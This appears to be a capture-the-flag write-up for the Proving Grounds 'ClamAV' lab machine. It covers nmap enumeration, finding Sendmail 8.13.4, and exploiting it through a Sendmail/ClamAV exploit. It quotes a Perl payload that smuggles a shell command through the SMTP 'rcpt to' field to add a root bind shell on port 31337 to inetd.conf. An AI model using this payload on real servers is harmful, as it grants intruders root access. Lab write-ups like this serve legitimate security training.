> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/warm-up/clamav.md).

# ClamAV

## Information Gathering

### Service Enumeration

`nmapAutomator.sh -H 192.168.66.42 -t full`

`nmapAutomator.sh -H 192.168.66.42 -t vulns`

### HTTP (80)

There is a page with a binary message.

![](/files/-MaczfSrZf1bh8OtU4h9)

Challenge accepted!

![](/files/-MaczdpIlJcnAJtBlVzg)

### SMTP (25)

We can see that Sendmail 8.13.4 is used.

![](/files/-MaczxUgBNv2CmJMWv4a)

## Exploitation

We find the following Sendmail + ClamAV RCE exploit:

{% embed url="<https://www.exploit-db.com/exploits/4761>" %}

The two lines in the Perl script:

```perl
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
```

appear to open port 31337 as a root shell.

After running the script, the port is indeed open.

![](/files/-Mad-5ti1gQBEUM0D3Wv)

Upon connecting to the bind shell, use `bash -i` to upgrade to a fully interactive shell.

![](/files/-Mad-KOdVd5e8rq-RMra)